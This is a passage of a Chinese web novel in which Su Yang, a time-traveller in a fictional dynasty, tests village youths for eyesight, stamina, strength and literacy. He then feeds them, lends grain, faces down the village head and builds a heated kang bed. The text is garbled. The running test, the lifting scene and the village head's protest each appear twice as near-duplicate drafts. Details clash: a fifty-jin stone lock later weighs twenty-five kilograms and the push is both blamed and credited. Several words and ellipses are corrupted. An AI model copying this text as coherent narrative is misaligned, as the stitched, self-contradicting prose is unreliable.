苏阳被他们磕得头皮发麻,赶紧摆手:“行了行了,都赶紧起来!谁要是再磕,周阳的考核资格就没了!” 他这话一出,几人立刻停了动作,乖乖地站了起来,只是眼巴巴地望着苏阳,生怕他反悔,又像几只可怜巴巴的小虎。 …… 有了周阳这档子事,苏阳也多了个心眼。他把石头叫过来,压低声音:“你带几个人,再去仔细查查,检查有没有不合格的人溜进队伍!给我看仔细点,别漏了!” 其实不用苏阳吩咐,村民们早就开始互相监督了。毕竟关系到自家孩子的未来,没人愿意凭空多几个对手。 当然,周阳那情况是特殊,大家伙虽然都有私心,但谁家没个难处?在这种事情上,还是拎得清的,不会坏了良心。这也是苏阳愿意带着大家一起奔小康的重要原因。 他可不想招一群白眼狼进来,到时候别说带着大家致富了,不被反咬一口就不错了。苏阳心里明镜似的,选人,品性比能力更重要。 反复核实剩余人选是否达标,考核正式开始。苏阳深吸一口气,大声宣布:“都给我听好了,现在开始考核!第一项,测视力!” “测视力?” “这是啥玩意?” “不知道啊,没听说过……” 村民们议论纷纷,一脸茫然。 苏阳也不解释,直接让石头在空地上立起一块木牌,告示板上贴着张纸条,纸上画满了大小不一的圆圈,每个圆圈都有一个缺口。 “都给我排成一排,站到五米外!”苏阳指着木牌前的空地,“然后,遮着半边眼,用另一只眼睛告诉我,你看到的圆圈,缺口朝向哪边!” 大家伙这才明白过来,原来是要考眼力。 周阳排在队伍靠后,看着前面一个个接受测试的同伴,心里紧张得像揣了只兔子,七上八下的。 “不能输,我绝不能认输!”他在心里一遍遍地对自己说,手心里全是汗,黏糊糊的。 队伍缓缓向前移动,速度比苏阳预想的要快。 这年头,孩子们可没那么多花花肠子,整天盯着书本看个不停,更别提什么电视、手机了,所以视力普遍都不错。苏阳心里有数,这一关主要就是筛查那些有明显眼疾的孩子。 眼看着就要轮到自己了,周阳的心都提到了嗓子眼。 “下一个!” 终于,孔远山的声音响起,周阳感觉双腿像灌了铅一样沉重,每挪动一步都无比艰难。他深吸一口气,强迫自己镇定下来,走到木牌前。 “捂住左眼,用右眼看。”孔远山在一旁提醒。 周阳依言照做,可当他看向木牌时,却感觉眼前一阵模糊,那些圆圈仿佛都在跳动,根本看不清缺口的方向。 “怎么样?看清楚了吗?”孔远山催促道。 “我……”周阳张了张嘴,却发现自己什么也说不出来。 “看不清就说看不清,下一个!”孔远山有些不耐烦了。 周阳感觉自己像是被人当头浇了一盆冷水,从头凉到脚。完了,全完了,自己竟然连第一关都没过! 他失魂落魄地走回队伍,觉得自己像个小丑,所有的希望都破灭了。 谁知,孔远山报完所有人的测试结果,竟然只有一个人被刷了下来,周阳居然稀里糊涂地过关了! “这……这是怎么回事?”周阳简直不敢相信自己的耳朵,他愣了好半天才反应过来,一颗心“扑通扑通”狂跳个不停,仿佛要从胸腔里蹦出来。 被淘汰的少年名叫别家明,因为瞳孔颜色比常人略淡,泛着些青色,村里人都叫他“麻眼仔”。要不是这次测视力,谁都不知道他有一只眼睛看不清东西。 苏阳把他叫到跟前,仔细端详着他的眼睛。别家明的右眼瞳孔,明显比左眼要大一些,而且颜色也更深,看起来有些异样。 虽然不是大夫,但苏阳也能猜出个八九不离十。这孩子,怕是得了什么眼疾,而且还不轻。 他想起自家奶奶当年似乎也得过类似的病症,去镇上的医馆看过,大夫说是“青光眼”,需要做手术才能治好。 第七十八章 可这穷乡僻壤的,上哪儿找会做手术的大夫?就算有,那费用也不是一般人家能承受得起的。 苏阳心里叹了口气,这孩子,怕是要遭罪了。 把别家明的事暂时放到一边,进行下一轮考核。 “下面进行第二项测试,跑步!”苏阳看了看天色,“石头,你带头,路旭东,你负责殿后!带着大家绕着村子跑三圈!孔远山,毕明志,你俩跟在后面,把掉队的、跑不动的,都给我记下来!” 开跑前,苏阳又特意叮嘱石头:“你小子别跑太快,悠着点,不然他们都得被你甩下!” 不少村民一听要跑步,都露出了懊恼的神色。早知道苏阳是来真的,先顾好自家娃再说其他! 可苏阳不管这些,既然提前提醒过,不赶紧打起精神,那就是不听话。面对那些不服管教的家伙,他可不会心软。 周阳跑在队伍中间,呼哧呼哧地喘着粗气,胸口像压了块大石头。并非他掌握了什么高深招数,是实在跑不快,只能勉强跟上队伍!苏阳浓眉紧锁,扫视着眼前这群参差不齐的半大小子,心中盘算着。 他没料到,大元朝的乡下孩子,身体素质竟如此悬殊。 毕竟,这里可不是他前世那个体育课普及、营养过剩的天朝。青龙村的百姓,平日里能填饱肚子已属不易,哪还顾得上什么跑步技巧、体能训练? “全体都有,听我号令!第二项测试,跑步,开始!” 苏阳定了定神,不再多想,朗声宣布,打破了场上的沉寂。 他朝一旁的陈木生努努嘴:“石头,你小子打头!旭东,你押尾!给我在后头盯着!” “围着村子跑三圈,都听清了?” 苏阳的目光如刀,一一刮过众人,“孔远山,毕明志,你们俩眼睛放亮点,谁要是掉队,跑不动,全都给我记下来!” 人群中一阵骚动,不少孩子面露难色。早知如此,来之前就该让自家娃儿吃饱些! 几个孩子的父母更是懊悔不已。 苏阳却不为所动。丑话说在前头,谁不听劝,谁就活该倒霉。 发令前,苏阳又特意叮嘱陈木生:“你小子可别撒欢儿似的瞎跑,悠着点儿!不然他们都得被你甩没影儿了!” 谁知,这句话反倒激起了几个小子的逆反心理。 这几个平时自诩疾毛钗的小子,斜眼睨视着石头,眼神里尽是不屑与挑衅。 那意思仿佛在说:就你这慢乌龟样,也配领跑? 发令锣声刚落,这几个小子便如脱缰野马般疾驰而出,早把石头的“控速”抛到了九霄苏外。 甚至,他们还不忘回头朝石头做了个鬼脸,这才扬长而去。 领头羊一加速,后面的人群自然也被带着提速。 周阳混迹其中,只觉胸口憋闷,喘气都费劲。 他倒不是有什么战术,纯粹是心有余而力不足,只能勉强跟上队伍,不至于掉队。 可没跑出多远,周阳就感觉不对劲了。 他眼睁睁地看着,那几个先前还神气活现的“疾毛钗”,这会儿都像霜打的茄子,一个个脸色煞白,大口大口地喘着粗气。 显然,刚开始冲得太猛,这会儿都泄了气。 周阳暗暗叫苦,他自己的情况也好不到哪儿去。 双腿仿佛灌了铅,每迈出一步都像是在跟自己较劲。 他感觉自己随时都会脱力,眼前一阵阵发黑,嗓子干得直冒烟。 几次,周阳都差点儿停下脚步。 他余光瞥见那些跑不动的家伙已经放弃,正站在路边大口喘气,心里也痒痒的,想跟着停下来歇口气。 可最终,求生的本能还是战胜了身体的疲惫。 他不能停! 他要活下去! 还要让全家人都活下去! 这股强烈的信念,汇聚成了一道无形的力量,支撑着他疲惫的身躯。 他死死盯着前方石头的背影,感受着肺部火辣辣的灼烧,心脏狂跳,仿佛要从胸腔里蹦出来。 不行,还不能停下! 他咬紧牙关,将身体的每一个警报都强行压制。 “停下!全体停下!” 就在周阳感觉自己快要撑不住的时候,苏阳的命令,如同天籁之音,传入耳中。 “呼…;…;呼…;…;” 周阳如释重负,腿一软,差点跪倒。但他还是强撑着站直了身体。 他大口喘息,贪婪地呼吸着新鲜空气,感觉自己像是刚从水里捞出来一样。 “都别愣着!慢慢走,别停!谁让你们停了?” 苏阳的声音再次响起,不过这次,语气中少了些严厉,多了些无奈。 周阳这才发现,不仅是他,其他人也都停了下来,一个个东倒西歪,像是被抽干了力气。 只有少数几个,还听从苏阳的命令,缓缓地挪动着步子。 “没吃饭吗?迈开腿!都动起来!”苏阳提高了嗓门,他可不想这帮小子因为突然停下而受伤。 在苏阳的催促下,原本停下的人群,再次缓缓动了起来。 周阳也拖着灌铅般的双腿,一步一步,慢慢地向前走着。 他不敢停,也不能停。 他知道,自己能坚持到现在,已经是奇迹了。 苏阳在一旁看着,心里直摇头。 这才跑了三圈,就有将近一半的人没能跑完全程。 这还是他放宽了标准,只要求跑完,不追求速度的结果。 这要是放在前世,估计连小学体测都过不了关。 不过细想一下,也能理解。 有的小子,那是真没力气,跑着跑着就虚脱了; 有的小子,那是意志不行,稍微累点就放弃; 还有几个,苏阳心里跟明镜似的,他们压根就不想跟着自己干,跑不动只是借口。 但不管怎么说,这些人,苏阳是一个都不会要的。 体能不行可以练,意志不坚定,那就很难改变了。 至于那些耍心眼儿的,更不能留。 他需要的,是能吃苦、能坚持、能听话的人。 就像那个周阳,虽然跑得最慢,但他那股拼劲儿,苏阳是看在眼里的。 这小子,只要稍加训练,绝对是个好苗子。 “行了,都过来吧,先歇会儿。” 看着众人走得差不多了,苏阳这才开口叫停。 “那边有粥,每人一碗,先填填肚子。记住,排好队,谁敢抢,直接滚蛋!” 一听说有粥喝,原本还蔫头耷脑的小子们,顿时来了精神。 一个个两眼放光,争先恐后地朝粥桶跑去。 周阳落在最后,他实在没力气跟人挤了。 不过,他心里却是暖烘烘的。 苏阳不仅让他们跑步,还给他们准备了粥,这可真是个大好人! 他暗暗下定决心,一定要好好表现,争取留下来。 轮到周阳的时候,他双手接过那碗热气腾腾的小米粥,闻着那熟悉的米香,眼眶不禁湿润了。 第七十九章 这粥,真香啊! 要是奶奶、小妹、小弟也能喝上就好了…;…; 他小心翼翼地喝了一口,感受着那温暖的粥水滑过喉咙,流进胃里,整个人都舒坦了不少。 他抬头,望向那些没能坚持跑完全程的小子,心中五味杂陈。 那些人,一个个垂头丧气,脸上写满了失落和懊悔。 他们的家人,也是唉声叹气,后悔没让孩子多吃点,或者平时多锻炼锻炼。 苏阳站在粥桶旁,静静地观察着众人。 他早就料到会是这样的结果。 “都吃完了吧?”苏阳等众人喝完粥,开口问道。 “吃完了!”稀稀拉拉的回答声响起。 “没吃完的也别吃了,都过来!”苏阳大手一挥,“我这儿还有点剩的,那些没跑完的,也过来喝一碗吧。” 苏阳这么一说,那些没能坚持下来的小子,一个个都愣住了。 他们没想到,苏阳竟然还会给他们粥喝。 原本的沮丧和失落,顿时消散了大半。 他们的家人,更是感激涕零,看向苏阳的眼神,充满了敬意。 “苏公子真是个大善人啊!” “是啊,自家孩子不争气,苏公子还给粥喝,真是没话说!” “以后谁要是敢说苏公子的坏话,我第一个不答应!” …;…; 人群中,议论声此起彼伏。 苏阳摆了摆手,示意大家安静。 “行了,都别在这儿拍马屁了。喝完粥,都给我动起来,准备下一项测试!” 说着,他指了指不远处的一排石锁, “看见那些石头了吗?那是石锁,待会儿你们就比试举石锁!” 为了这次选拔,苏阳特意让陈木生他们从家里搬来了三个石锁。 最小的一个五十斤,往上依次是一百斤和一百五十斤。 这三个石锁,是苏阳早逝的便宜麻哥苏大留下的。 苏大还在的时候,经常用这些石锁来锻炼。 可惜,他死后,就再也没人督促苏阳锻炼了。 “五十斤及格,一百斤良好,体重破百也能秀翻天!都听清楚了吗?” 苏阳的声音,再次响起, “都给我拿出真本事来!别想着偷奸耍滑!” 周阳站在人群中,手心已经开始冒汗了。 虽然喝了一碗粥,但他还是感觉浑身无力。 他知道,自己刚才跑步的时候,已经把体力耗尽了。 现在别说举一百五十斤的石锁,就是五十斤的,他都不一定能举起来。 可是,他不能退缩。 他必须坚持下去。 为了自己,也为了家人。 他深吸一口气,缓缓走向了那排石锁。 周阳径直走向了最小的那个五十斤的石锁。 他没有不自量力,直接选择了自己唯一可能举起来的石锁。 看到周阳的选择,不少小子都撇了撇嘴,露出不屑的表情。 在他们看来,周阳这是胆小怕事,没出息。 苏阳却不这么认为。 他知道,周阳是个聪明人,懂得量力而行。 这样的人,才更可靠。 周阳站定,弯腰,紧紧攥着石锁柄。 冰冷的触感,让他精神一振。 他闭上眼睛,深吸一口气,仿佛要将全身的力量都凝聚在这一刻。 他想起了自己多舛的命运,想起了家人的期盼…;…; “起!” 周阳猛地睁开眼睛,发出一声低吼,全身肌肉瞬间绷紧。 他用尽全身力气,试图将石锁举起。“起!” 周阳猛地睁开眼,牙缝里挤出一个字。 全身肌肉瞬间绷紧,像拉满的弓弦。 他用尽全身力气,试图将石锁举起。 牙关紧咬,额头青筋像蚯蚓一样扭动,周阳憋红了脸,愣是将二十五公斤的铁锁扛过头顶! “咔嚓……” 仿佛听到了骨骼不堪重负的声响。 眼前一黑。 “卧槽!” 这是周阳昏迷前,脑海中最后的念头,都怪那个推自己的。 …… “嘶……” 再次醒来,周阳感觉浑身像是被车碾过,骨头缝里都透着疼。 “你醒了?” 一个声音传来,带着点漫不经心。 周阳费力地扭过头,是苏阳。 他张了张嘴,嗓子干得像冒烟:“多谢……苏哥,我……” “行了,别说废话。” 苏阳打断了他,语气淡淡的: “你小子还算走运,我推了你一把,不然石锁就砸你脑袋上了。” 周阳一个激灵,瞬间清醒了大半。 他这才反应过来,刚才有多危险,一阵后怕。 后背冷汗直冒,湿漉漉的贴在衣服上。 还没来得及道谢,就听到外面一阵喧闹。 “苏哥,苏哥!大恩人啊!” 一个苍老的声音,带着哭腔,由远及近。 紧接着,周阳的瞎眼奶奶,带着一家老小,跌跌撞撞地冲了进来。 扑通一声,老太太作势要给苏阳跪下。 苏阳眼疾手快,一把扶住: “老人家,使不得,使不得!” 他嘴上客气,心里却一阵嘀咕,也有些后怕。 真要是在测试的时候砸死一个,自己就沦为笑柄了! 到时候别说招人,不被村里人打死就算不错了。 …… 一番闹剧过后,力量测试总算有了结果。 来报名的乌泱泱一大片,少说也有八十来号人。最后筛来选去,只淘汰了一个。 那哥们也是点背,非得跟人较劲。 指着那一百五十斤的石锁,嗷嗷叫着就要举。 旁边人还以为他多大本事呢。 结果呢? 石锁动都没动一下,他倒好,把自己给整抽筋了。 再试五十斤的? 得,直接歇菜。 大伙都替他可惜,你说这图个啥? 苏阳也摇了摇头,没辙。 定下的规矩不能破,这叫原则。 再说,举不动就是举不动,谁也没招。 力气测完了,接下来是脑子。 说白了,就是考认字。 苏阳是谁? 他可不是来做慈善的。 现在本钱少,人手也紧张,必须得保证个顶个的都是精英,都能派上大用场。 要是招一群傻子进来,那还不得把自己给累死? 他教了十个字,一个比一个绕口。 好家伙,这群平日里连笔杆子都没摸过的泥腿子,哪见过这个? 一个个抓耳挠腮,比杀猪还难受。 就没一个全认出来的。 最多的,也就认出了一半。 周阳这小子,没了力气活儿拖累,倒还算机灵,比划着认出了四个。 在这一群文盲里,也算过得去了。 至于那些一个字都憋不出来的? 对不住了,哪儿凉快哪儿待着去吧。 苏阳可不养闲人。 这一轮下来,乌泱泱的人群直接少了一大半。 数了数,还剩八个。 可苏阳心里有数,他只打算招六个。 这下可热闹了。 那帮熊孩子的家属,一个个伸长了脖子,眼睛瞪得像铜铃。 生怕自家孩子被刷下去。 那眼神,就跟狼见了肉似的。 平时谁家要是有个活计,大伙儿都抢着干。 第八十章 现在能跟着苏阳,那就跟端上了金饭碗一样。 以后吃香的喝辣的,谁不眼红? “都别急!” 苏阳清了清嗓子,慢悠悠地开了口: “你们八个……” 他故意拉长了音,卖起了关子。 “这几天都跟着我,好好练!能不能留下,就看你们的表现了!” “啥?” “不是……这……” 八个小子你看看我,我看看你,都傻了。 到手的鸭子还能飞了? 这苏二哥,也太会玩了! 不过话说回来,哪个年轻气盛的小伙子愿意服输? 一个个心里都憋着一口气,谁也不想被比下去。 真要是最后被刷下来,那可就丢人丢到姥姥家了! 周围的村民也炸开了锅,说什么的都有。 “苏二这招高啊,这是养蛊呢!” “嘿,你还别说,这法子真能挑出厉害的。” “厉害有啥用,还不是在村正手底下讨生活?” …… 折腾了大半天,日头都快到正中间了。 苏阳一挥手,跟检阅队伍似的: “行了,都散了吧,回家吃饭!” 一听这话,八个小子立马来了精神,一个个腰杆挺得笔直。 谁不知道苏阳家里吃得好? 一天三顿,顿顿不落,还时不时能见着油水。 这第一顿饭,说不定就能开荤呢! 光是想想,口水都要流下来了。 走着走着,苏阳发现周阳有点不对劲。 这小子,咋还磨磨蹭蹭的? 苏阳眼珠子一转,就猜到了七八分。 “我说,” 他提高了音量, “谁家要是实在揭不开锅,先到我这儿来支两斗粮食,回头再还!” 这话一说,八个小子和他们的家人都愣住了。 紧接着,就是一阵感激。 苏阳这人,真是没话说! 就算是那些家里暂时不缺粮的,也觉得心里暖呼呼的。 谁还没个难处? 万一哪天真过不下去了,起码还有条退路。 那些没被选上的,更是羡慕得眼睛都红了。 看看人家,再看看自家那不争气的,恨不得踹他两脚! 苏阳可没忘了石头他们四个。 这几个老伙计,可是自己的心腹,得好好安抚。 “石头,远山,旭东,明志,” 他挨个点了名, “你们几个今天也累坏了,回去一人领两斗粮食!” 瞧瞧,这待遇,立马就不一样了。 新来的只能借,老伙计直接领! 啥叫差距? 这就是差距! 没差距,哪来的干劲? 苏阳心里清楚得很。 一刀切做法不可取,就得多劳多得! 正要带着人走呢,人群里突然冒出一声怪叫: “瞎胡闹!” 这声音,阴阳怪气的,像一把冰锥子,扎得人浑身不舒服。 在场的人都安静了下来。 不用回头,苏阳就知道是谁。 除了赖志成,还能有谁? 这家伙,打从一开始就在旁边看着,一句话不说。 心里指不定憋着什么坏呢。 苏阳冷笑一声。 他早就知道赖志成不会善罢甘休。 这老小子,在青龙村横行霸道惯了,能眼睁睁看着自己抢了他的风头? “苏二,你这是干啥?把人都弄走了,谁给村里干活?谁去服徭役?” 赖志成背着手,慢悠悠地走了过来。 一双三角眼,死死地盯着苏阳。 他这话说得冠冕堂皇,实际上呢? 就是眼红苏阳把人都给笼络走了。 再这么下去,他这个村正还算个啥? 他得给苏阳点颜色瞧瞧! 赖志成这么一说,有些村民也反应过来了。 是啊,这徭役可是个大问题! 得罪了谁,也不能得罪村正啊! 万一他给你使个绊子,把你弄去修城墙,挖河道…… 那可就真是有苦说不出了! 有些家里孩子没被选上的,心里反倒有点庆幸。 跟着苏二有啥用? 到头来,还不是得看村正的脸色? 这下好了,自家孩子没去,也省得得罪村正了。 那群臭小子的亲属,心里就跟十五个吊桶打水似的,七上八下。 又想让孩子跟着苏阳吃饱饭,又怕得罪了村正,以后没好日子过。 这可咋整啊? 有几个胆小的女人,急得直跺脚,眼泪都快下来了。 其中一个,声音都变了调: “他爹,你说这可咋办啊?要不……咱还是把娃叫回来吧?”赖志成背着手,三角眼一眯,活像一只偷鸡不成蚀把米的黄鼠狼,死死盯着苏阳,话里跟裹了冰碴子似的: “苏二,你这把人都划拉走了,村里的活谁干?徭役谁去顶?这规矩不能坏啊!” 这话听着像是为公,为村里人打算,可谁听不出那点儿猫腻? 他不就眼红苏阳笼络了人心,怕自己这村正的位子坐不稳当么,变着法儿地找茬。 赖志成这么一咋呼,嗓门提得老高,还真有几个村民开始嘀咕起来。 徭役这事儿,可是悬在穷苦百姓头顶的刀,谁敢不听村正的?万一被弄去修墙挖沟,那可就吃不了兜着走。 有几家孩子没被苏阳选上的,这会儿反倒有点儿幸灾乐祸,觉得省了麻烦,自家娃不用去遭罪了。 那几个入选小子的家人,心都提到了嗓子眼儿,活像是热锅上的蚂蚁。 一边想让孩子跟着苏阳吃香喝辣,一边又怕得罪了赖志成这老东西,往后没好日子过。 几个胆小的女人急得直跺脚,其中一个带着哭腔,声音都变了调,活像是死了男人一样: “他爹,要不……咱还是把娃叫回来吧?这万一……得罪了村正,可咋活啊?” 苏阳在一旁冷眼瞧着,一声不吭。 他就是要等,让这事儿发酵,看看谁会熬不住。 真要有人把孩子叫回去,他也不拦,正好借机筛选。 赖志成平日里作威作福,积威甚重。村民怕他,苏阳心里门儿清。 果不其然,有两家人开始动摇,眼神闪烁,想把孩子叫回去。 其中一个小子,爹娘一个劲儿地使眼色,他低着头,一步三回头地往回挪。另一个却是个犟种,脖子一梗,死活不肯走,和家里人犟了起来,脸红脖子粗的,眼瞅着就要打起来。 苏阳的目光在剩下的几家人身上扫了一圈,心里有了数。 还行。 尽管不少家人愁眉苦脸,可还是咬牙挺着,没把孩子叫回去,这说明还有救。 至于那两个? 苏阳心中冷笑,不管是回去的还是和家人闹别扭的,他一个都不要。 强扭的瓜不甜,没有家里人的支持,将来准得出幺蛾子。 现在刚起步,正是用人之际,必须把每一分力气都用在刀刃上,不能浪费在这些烂事上。 “走了!” 苏阳把手一挥,懒得再和这些人废话。领着六个萌新上道,四个老人,抬着三个死沉的石锁,在一众村民复杂的目光中离开了晒粮场。 身后,是一地的鸡毛蒜皮,和一颗颗七上八下的心。 第八十一章 到了苏阳家,敞开肚皮吃了一顿,六个新人就彻底踏实了。 别的不说,就为了这一口香喷喷的吃食,他们也得死死抱住苏阳的大腿! 苏阳家的饭菜,那可不是一般的香! 平日里,这些小子能吃上一口带糠的杂粮饼子就不错了,哪见过这阵仗? 苏阳还怕他们吃坏肚子,特意嘱咐王婶和林绮娘做饭的时候悠着点儿,别放太多油水,整了一锅穷人版大锅饭。 这几个小子平日里吃的都是些刮嗓子的东西,乍一吃到这香滑的肉粥,一个个狼吞虎咽,恨不得把碗都舔干净。 他们心里跟明镜似的,暗暗发誓,一定要拼了命地好好干,绝不能让苏阳撵他们走!这可是打着灯笼都难找的好事! 尤其是周阳,捧着热腾腾的肉粥,闻着那勾人的香味,眼泪刷地就下来了。 他家都快揭不开锅了,奶奶和小妹还饿着肚子呢。他暗暗发誓,一定要跟着阳哥儿好好干,将来让奶奶和弟妹也能天天吃上这样的好饭! 什么村正不村正,谁挡着他吃饱饭,谁就是他的仇人! “都吃好了没?” 苏阳看着几个小子,慢悠悠地问。 “好了!” 几个小子齐声回答,震天响,把屋顶的灰都震下来不少。 “下午都回去,好好洗个澡,换身干净衣裳,再睡个好觉。” 苏阳不紧不慢地说着, “上午的测试,一个个都跟抽了筋的泥鳅似的,身体太虚了,得先养养。直接练,容易出事。” 几个小子连连点头,一个个乖得跟鹌鹑似的。 “还有,”苏阳顿了顿,补充道,“让你们家里人下午过来一趟,把契约签了。” 四位老者全都在合同上按了手印,新人当然也不能少。 虽然苏阳知道那玩意儿没啥用,但该有的过场不能省,多少能让人心里安稳点儿,觉着这事儿靠谱。 几个小子答应着,纷纷起身要走。 周阳却磨磨蹭蹭地没动,等人都走得差不多了,才扭扭捏捏地凑到苏阳跟前,脸憋得通红,跟要拉稀似的: “超……阳哥儿,我……我想借点儿粮……” 苏阳一挑眉,没等他说完就打断了他: “家里没米下锅了?” 周阳的头埋得更低了,声音小得像蚊子哼哼,要不是苏阳耳力好,还真听不清: “嗯……” 苏阳心里叹了口气,这兵荒马乱的年月,谁家都不容易。 “等着。” 他转身进了里屋,没一会儿就提着一个鼓囊囊的布袋出来,递给周阳。 “这儿是一斗小米,一斗面粉,先拿去应急,别让你奶奶和小妹饿着。” 周阳的眼睛“唰”地一下就亮了,双手接过布袋,只觉得这布袋比金子还沉。 “阳哥儿,我……我周阳这条命就是您的了!” 他激动得话都说不利索了,声音都带着哭腔。 “行了,别说这些没用的。” 苏阳摆摆手,打断了他, “又不是只有你一个,林韧那小子,家里也穷得叮当响,你俩一样。” 周阳一听,更是感激涕零,差点儿给苏阳跪下磕头。 “阳哥儿,您放心,我周阳就是给您做牛做马,也一定报答您的大恩大德!以后您让我往东,我绝不往西!” 周阳提着粮食,走在青龙村的土路上,脚步都比平时轻快了不少。 虽说这路还是坑坑洼洼,可他却觉得,天也蓝了,风也暖了,就连路边的野草都顺眼了不少。 他觉得自个儿跟踩在棉花上似的,浑身舒坦。 一路上,碰见个人,周阳就咧开嘴笑,露出两排还算整齐的牙齿。 谁要是好奇,问他袋子里装的啥,他就扯着嗓门喊: “是阳哥儿借给我的粮食!救命的粮食!” 不等进家门,周阳就扯着嗓子喊开了,那声音,比村头的破锣还响: “奶奶,小妹,我回来啦!咱家有饭吃了,有白面,有小米!再也不用饿肚子啦!” 他这一路嚷嚷,可比什么宣传都管用。 谁不知道他周阳家里穷得都快揭不开锅了?现在提着粮食回家,那肯定是苏阳给的! 一传十,十传百,苏阳的名声,在青龙村里又响亮了几分。 就连那不爱说话的林韧,也成了活广告。 他虽然闷声不响,可手里提着的粮食袋子,明明白白地告诉大家:跟着苏阳,有肉吃! 这一来二去,村里人看赖志成的眼神都不对了。 同样是村里的头面人物,这做人的差距咋就这么大呢? 苏阳对手下那是真叫一个好,借粮不说,还管饭,听说顿顿都有肉! 转头瞧瞧赖志成,抠抠搜搜的,手底下那几个帮闲,一个个饿得面黄肌瘦,跟难民似的,大冷天还在卧龙沟里砸冰,那叫一个惨! 这真是人比人得死,货比货得扔! 这一天,对于大元朝的百姓来说,或许只是日复一日的寻常日子。 但对于周阳和林韧两家来说,却是改变命运的一天。 从今天起,他们的日子有了盼头,再也不用提心吊胆地怕饿死了,这比啥都强! 对青龙村的许多村民来说,这一天也意义非凡。 尤其是那些家里快断粮,都穷到吃土的主儿,心里都跟长了草似的。 “跟着苏阳有饭吃”,这句话,算是彻底在他们心里扎了根。 他们暗暗下定决心,等苏阳下次招人,说什么也得让自家小子挤进去,这可是天大的好事! 可对于那两家把孩子叫回去的,这一天,就跟吃了苍蝇一样难受。 眼瞅着别人家的孩子跟着苏阳吃香喝辣,自家孩子却只能在家饿肚子,这滋味,甭提多难受了。 真是应了那句话,一步错,步步错。 苏阳也没想到,自己不过是招了几个人,竟然在村里引起了这么大的反响。 他原本还计划着,下午抽空给自己屋里盘个暖榻,暖和暖和。 谁知道,这六个小子的家人,来得那叫一个“热情”。 这家刚坐下,还没说两句话呢,那家又推门进来了,前前后后,络绎不绝。 苏阳就像个陀螺一样,围着这些人转,一遍又一遍地解释着,嗓子都快冒烟了。 一直忙活到天黑,才把最后一拨人送走,差点没把他累瘫在炕上。 苏阳揉了揉酸痛的肩膀,正准备歇口气,却发现有点不对劲。 他眉头一皱,环顾四周。 怪了,那六个新来的小子,怎么一个都没回来?晨曦微露,青龙村还笼罩在一片薄雾之中。 苏阳家门前,却已是另一番景象。 “阳哥儿,俺们来了!” 六个身影,比昨日更早地出现在门口。 是那六个新来的小子。 一个个脸上还带着几分睡意,却难掩兴奋。 第八十二章 昨晚那顿饭,不仅仅是填饱了肚子,更像是吃下了一颗定心丸。 苏阳推开院门,扫了一眼这几个半大的孩子。 “来得倒早。看来,是真想跟着我干了?” 他嘴角微微上扬,带着一丝不易察觉的笑意。 几个小子挠挠头,嘿嘿笑着,不敢接话。 “都别愣着了,跟我来。” 苏阳转身朝院子里走去。 “今儿个,咱先不跑了,练点别的。” 几个小子一听,顿时来了精神。 不跑圈?那敢情好啊! 他们兴冲冲地跟着苏阳进了院子。 “都站好了,看我怎么做,你们就怎么学。” 苏阳站在院子中央,开始比划起来。 他打的,是一套最简单的军体拳。 这拳法,简单实用,易学易练,最适合用来训练这些半大小子。 几个小子瞪大了眼睛,一眨不眨地盯着苏阳的动作。 他们努力地模仿着,却总是不得要领。 不是胳膊伸错了,就是腿抬歪了。 一个个笨手笨脚,像极了刚学步的鸭子。 孔远山、石头、路旭东、毕明志四人,站在一旁。 看着新人们的窘态,他们强忍着笑意。 想当初,他们练这套拳的时候,也没比这几个强多少。 “远山,你那胳膊,是准备挠痒痒吗?” 苏阳突然看向孔远山,板着脸说道。 “啊?没,没有啊……” 孔远山一个激灵,连忙收回了心神,认真地比划起来。 “石头,你那腿,是想踢毽子?” 苏阳又看向石头,语气中带着一丝戏谑。 “没,阳哥儿,我这是……这是……” 石头支支吾吾,半天也说不出个所以然来。 “行了,都别练了,先吃饭!” 苏阳摆了摆手,打断了他们的练习。 几个小子如释重负,长出了一口气。 这拳法,看着简单,练起来可真要命! “阳哥儿,今儿吃啥?” 一个小子的眼睛里,闪烁着期待的光芒。 “白米饭,肉管够!” 苏阳笑着说道,露出了一口白牙。 “太好了!” 几个小子欢呼雀跃,仿佛所有的疲惫都一扫而空。 早饭后,苏阳带着众人来到了一间屋子。 这间屋子,与厨房仅一墙之隔。 “今儿,咱盘个炕,往后啊,这屋就暖和了。” 苏阳一边说着,一边从墙角搬起一块土坯砖。 “炕?阳哥儿,炕是啥玩意?” 一个小子上前一步,好奇地问道。 “炕啊,就是用这土坯砖垒起来的床,跟灶台连着,烧火做饭的时候,这炕也就热了。” 苏阳耐心地解释着。 “搭建土砖小床铺?那能睡人吗?” 另一个小子提出了质疑。 “能不能睡,等盘好了你们就知道了。” 苏阳没有多做解释,直接开始动手。 他先是带着几个小子,把墙角的杂物清理干净。 然后,又在土坯墙上,小心翼翼地掏出一个洞来。 这洞,正好对着隔壁厨房的灶膛。 “这叫烟道,烧火的时候,烟就从这儿走。” 苏阳指着那个洞,向几个小子解释道。 几个小子似懂非懂地点了点头。 他们虽然不知道这烟道有啥用,但看苏阳这么认真,想来肯定是很重要的。 苏阳盘炕的手艺,是跟村里的老把式学的。 他虽然没亲手盘过,但看也看过好几回了。 再加上他脑子灵活,举一反三,很快就掌握了其中的诀窍。 只见他先用泥巴和稻草混合在一起,做成泥浆。 然后,将土坯砖一块一块地垒起来,中间用泥浆粘合。 没过多久,一个炕的雏形,就出现在了众人的眼前。 “阳哥儿,这炕真能烧热?” 一个小子的脸上,露出了难以置信的表情。 “等会儿你们就知道了。” 苏阳笑了笑,没有直接回答。 他继续埋头干活,将炕的表面抹平,又在炕头的位置,留了一个添柴火的口子。 “行了,大功告成!” 苏阳拍了拍手上的泥土,满意地说道。 “这就好了?” 几个小子围着炕,左看看,右看看,还是不敢相信。 “阳哥儿,要不……咱先试试?” 一个小子的眼睛里,闪烁着期待的光芒。 “试啥试?这炕还没干呢,等明天再烧。” 苏阳瞪了他一眼,没好气地说道。 “嘿嘿,俺这不是心急嘛……” 那小子挠了挠头,讪讪地笑了笑。 “都别在这儿杵着了,该干嘛干嘛去!” 苏阳挥了挥手,将几个小子赶出了屋子。 就在这时,屋外传来了一阵嘈杂声。 “苏二在家吗?听说你又在瞎折腾?” “搭建土砖小床铺?这是哪门子的道理?” “……” 苏阳走出屋子,只见院子里挤满了人。 都是村里的乡亲们,一个个脸上都带着好奇和质疑的神色。 “苏二,你这又是搞啥名堂?” 一个村民大声问道。 “盘炕啊,没看出来吗?” 苏阳笑着说道。 “盘炕?炕是啥?” “就是用土坯砖垒的床,冬天可以烧火取暖。” 苏阳耐心地解释着。 “烧火取暖?你咋不在屋里点个火盆呢?” 一个村民提出了质疑。 “火盆?那玩意儿能跟炕比吗?” 